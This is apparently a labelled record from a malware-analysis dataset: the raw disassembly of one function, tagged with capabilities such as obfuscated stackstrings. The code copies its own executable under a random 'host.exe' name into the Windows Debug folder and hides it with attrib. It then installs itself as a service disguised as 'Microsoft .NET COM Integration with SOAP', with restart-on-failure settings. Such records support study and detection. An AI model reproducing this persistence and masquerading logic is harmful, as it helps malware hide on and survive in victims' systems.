Function at 0x403161
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406160
push 0x403950
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x468
push ebx
push esi
push edi
mov edi, str.ADVAPI32.dll
push str.RegCloseKey
push edi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call ebx
mov dword [ebp - 0x340], eax
push str.OpenSCManagerA
push edi
call esi
push eax
call ebx
mov dword [ebp - 0x364], eax
push str.OpenServiceA
push edi
call esi
push eax
call ebx
mov dword [ebp - 0x234], eax
push str.CloseServiceHandle
push edi
call esi
push eax
call ebx
mov dword [ebp - 0x34c], eax
push str.GetModuleFileNameA
push 0x407144
call esi
push eax
call ebx
mov dword [ebp - 0x370], eax
push str.GetWindowsDirectoryA
push 0x407144
call esi
push eax
call ebx
mov dword [ebp - 0x35c], eax
push str.CopyFileA
push 0x407144
call esi
push eax
call ebx
mov dword [ebp - 0x228], eax
push str.RegSetValueExA
push edi
call esi
push eax
call ebx
mov dword [ebp - 0x354], eax
push str.StartServiceA
push edi
call esi
push eax
call ebx
mov dword [ebp - 0x230], eax
push str.RegOpenKeyA
push edi
call esi
push eax
call ebx
mov dword [ebp - 0x36c], eax
push str.UnlockServiceDatabase
push edi
call esi
push eax
call ebx
mov dword [ebp - 0x368], eax
push str.ChangeServiceConfig2A
push edi
call esi
push eax
call ebx
mov dword [ebp - 0x350], eax
push str.CreateServiceA
push edi
call esi
push eax
call ebx
mov dword [ebp - 0x1c], eax
push str.LockServiceDatabase
push edi
call esi
push eax
call ebx
mov dword [ebp - 0x22c], eax
mov edi, 0x407144
push str.GetLastError
push edi
call esi
push eax
call ebx
mov dword [ebp - 0x358], eax
push str.WinExec
push edi
call esi
push eax
call ebx
xor ebx, ebx
mov esi, 0x104
mov dword [ebp - 0x360], eax
lea eax, [ebp - 0x33c]
push esi
push eax
push ebx
call dword [ebp - 0x370]
lea eax, [ebp - 0x224]
push esi
push eax
call dword [ebp - 0x35c]
lea edi, [ebp - 0x224]
or ecx, 0xffffffff
not ecx
xor eax, eax
repne scasb al, byte es:[edi]
lea eax, [ebp - 0x224]
dec ecx
lea edi, [ebp - 0x33c]
push ecx
push edi
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x403572
mov byte [ebp - 0x3bc], 0x25
mov byte [ebp - 0x3bb], 0x63
mov byte [ebp - 0x3ba], 0x25
mov byte [ebp - 0x3b9], 0x63
mov byte [ebp - 0x3b8], 0x25
mov byte [ebp - 0x3b7], 0x63
mov byte [ebp - 0x3b6], 0x68
mov byte [ebp - 0x3b5], 0x6f
mov byte [ebp - 0x3b4], 0x73
mov byte [ebp - 0x3b3], 0x74
mov byte [ebp - 0x3b2], 0x2e
mov byte [ebp - 0x3b1], 0x65
mov byte [ebp - 0x3b0], 0x78
mov byte [ebp - 0x3af], 0x65
mov byte [ebp - 0x3ae], bl
push 0x1a
call fcn.00403af0
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.00403af0
add eax, 0x61
pop ecx
push eax
push 0x1a
call fcn.00403af0
lea esi, [ebp - 0x40c]
lea edi, [ebp - 0x3bc]
sub eax, 0xffffff9f
pop ecx
push eax
push edi
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
lea edi, [ebp - 0x414]
mov byte [ebp - 0x414], 0x5c
lea edx, [ebp - 0x224]
sub esp, 0xffffffec
or ecx, 0xffffffff
not ecx
xor eax, eax
repne scasb al, byte es:[edi]
sub edi, ecx
mov esi, edi
mov byte [ebp - 0x413], 0x44
mov byte [ebp - 0x412], 0x65
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
mov byte [ebp - 0x411], 0x62
mov ecx, edx
mov byte [ebp - 0x410], 0x75
repne scasb al, byte es:[edi]
dec edi
mov byte [ebp - 0x40f], 0x67
mov byte [ebp - 0x40e], 0x5c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov byte [ebp - 0x40d], bl
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
or ecx, 0xffffffff
not ecx
lea edi, [ebp - 0x40c]
repne scasb al, byte es:[edi]
lea edx, [ebp - 0x224]
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
lea eax, [ebp - 0x224]
dec edi
push eax
lea eax, [ebp - 0x33c]
push eax
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [ebp - 0x228]
lea edi, [ebp - 0x33c]
lea edx, [ebp - 0x33c]
xor eax, eax
push 0x41
pop ecx
rep stosd dword es:[edi], eax
push 5
lea edi, [ebp - 0x224]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
mov eax, ecx
sub edi, ecx
shr ecx, 2
mov esi, edi
mov edi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x33c]
push eax
call fcn.00402c37
lea edx, [ebp - 0x3ac]
pop ecx
lea edi, [ebp - 0x398]
pop eax
mov byte [ebp - 0x3ac], 0x61
mov byte [ebp - 0x3ab], 0x74
xor eax, eax
mov byte [ebp - 0x3aa], 0x74
mov byte [ebp - 0x3a9], 0x72
mov byte [ebp - 0x3a8], 0x69
mov byte [ebp - 0x3a7], 0x62
mov byte [ebp - 0x3a6], 0x20
mov byte [ebp - 0x3a5], 0x2b
mov byte [ebp - 0x3a4], 0x61
mov byte [ebp - 0x3a3], 0x20
mov byte [ebp - 0x3a2], 0x2b
mov byte [ebp - 0x3a1], 0x73
mov byte [ebp - 0x3a0], 0x20
mov byte [ebp - 0x39f], 0x2b
mov byte [ebp - 0x39e], 0x68
mov byte [ebp - 0x39d], 0x20
mov byte [ebp - 0x39c], 0x2b
mov byte [ebp - 0x39b], 0x72
mov byte [ebp - 0x39a], 0x20
mov byte [ebp - 0x399], bl
push 0xa
pop ecx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x33c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
push ebx
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
mov ecx, edx
repne scasb al, byte es:[edi]
lea eax, [ebp - 0x3ac]
dec edi
shr ecx, 2
push eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [ebp - 0x360]
mov dword [ebp - 0x238], ebx
mov dword [ebp - 0x348], ebx
mov dword [ebp - 0x344], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [ebp - 0x364]
mov edi, eax
cmp edi, ebx
mov dword [ebp - 0x344], edi
je 0x4038ae
push ebx
push ebx
push ebx
lea eax, [ebp - 0x33c]
push ebx
push ebx
push eax
push 1
pop esi
push esi
push 2
push 0x110
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call dword [ebp - 0x1c]
mov dword [ebp - 0x348], eax
push edi
call dword [ebp - 0x22c]
mov dword [ebp - 0x434], eax
mov dword [ebp - 0x418], str.Microsoft_.NET_COM_Integration_with_SOAP
lea eax, [ebp - 0x418]
push eax
push esi
push dword [ebp - 0x348]
call dword [ebp - 0x350]
lea edi, [ebp - 0x450]
mov dword [ebp - 0x454], ebx
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x450], ebx
mov dword [ebp - 0x454], 0x15180
mov dword [ebp - 0x42c], ebx
mov dword [ebp - 0x430], esi
mov dword [ebp - 0x424], ebx
lea eax, [ebp - 0x430]
mov dword [ebp - 0x428], esi
mov dword [ebp - 0x41c], ebx
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x448], 3
mov dword [ebp - 0x444], eax
mov dword [ebp - 0x44c], ebx
lea eax, [ebp - 0x454]
push eax
push 2
push dword [ebp - 0x348]
call dword [ebp - 0x350]
push dword [ebp - 0x434]
call dword [ebp - 0x368]
cmp dword [ebp - 0x348], ebx
jne 0x4036be
call dword [ebp - 0x358]
cmp eax, 0x431
jne 0x4036be
push 0xf01ff
push dword [ebp + 8]
push dword [ebp - 0x344]
call dword [ebp - 0x234]
mov dword [ebp - 0x348], eax
cmp eax, ebx
je 0x4038ae
push ebx
push ebx
push eax
call dword [ebp - 0x230]
push ebx
push ebx
push dword [ebp - 0x348]
call dword [ebp - 0x230]
test eax, eax
je 0x4038ae
lea edi, [ebp - 0x478]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x120]
mov byte [ebp - 0x478], 0x53
mov byte [ebp - 0x477], 0x59
not ecx
repne scasb al, byte es:[edi]
sub edi, ecx
mov esi, edi
mov eax, ecx
mov byte [ebp - 0x476], 0x53
mov edi, edx
mov byte [ebp - 0x475], 0x54
mov byte [ebp - 0x474], 0x45
lea edx, [ebp - 0x120]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov byte [ebp - 0x473], 0x4d
and ecx, 3
mov byte [ebp - 0x472], 0x5c
rep movsb byte es:[edi], byte [esi]
mov byte [ebp - 0x471], 0x43
mov byte [ebp - 0x470], 0x75
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 0x46f], 0x72
not ecx
mov byte [ebp - 0x46e], 0x72
mov byte [ebp - 0x46d], 0x65
mov byte [ebp - 0x46c], 0x6e
mov byte [ebp - 0x46b], 0x74
mov byte [ebp - 0x46a], 0x43
mov byte [ebp - 0x469], 0x6f
mov byte [ebp - 0x468], 0x6e
mov byte [ebp - 0x467], 0x74
mov byte [ebp - 0x466], 0x72
mov byte [ebp - 0x465], 0x6f
mov byte [ebp - 0x464], 0x6c
mov byte [ebp - 0x463], 0x53
mov byte [ebp - 0x462], 0x65
mov byte [ebp - 0x461], 0x74
mov byte [ebp - 0x460], 0x5c
mov byte [ebp - 0x45f], 0x53
mov byte [ebp - 0x45e], 0x65
mov byte [ebp - 0x45d], 0x72
mov byte [ebp - 0x45c], 0x76
mov byte [ebp - 0x45b], 0x69
mov byte [ebp - 0x45a], 0x63
mov byte [ebp - 0x459], 0x65
mov byte [ebp - 0x458], 0x73
mov byte [ebp - 0x457], 0x5c
mov byte [ebp - 0x456], bl
mov edi, dword [ebp + 8]
repne scasb al, byte es:[edi]
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
mov ecx, edx
repne scasb al, byte es:[edi]
dec edi
lea eax, [ebp - 0x238]
shr ecx, 2
push eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x120]
push eax
mov ecx, edx
push closesocket
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [ebp - 0x36c]
mov byte [ebp - 0x440], 0x44
mov byte [ebp - 0x43f], 0x65
mov byte [ebp - 0x43e], 0x73
mov byte [ebp - 0x43d], 0x63
mov byte [ebp - 0x43c], 0x72
mov byte [ebp - 0x43b], 0x69
mov byte [ebp - 0x43a], 0x70
mov byte [ebp - 0x439], 0x74
mov byte [ebp - 0x438], 0x69
mov byte [ebp - 0x437], 0x6f
mov byte [ebp - 0x436], 0x6e
mov byte [ebp - 0x435], bl
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x440]
push dword [ebp + 0x10]
push 1
push ebx
push eax
push dword [ebp - 0x238]
call dword [ebp - 0x354]
or dword [ebp - 4], 0xffffffff
call fcn.004038c8
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret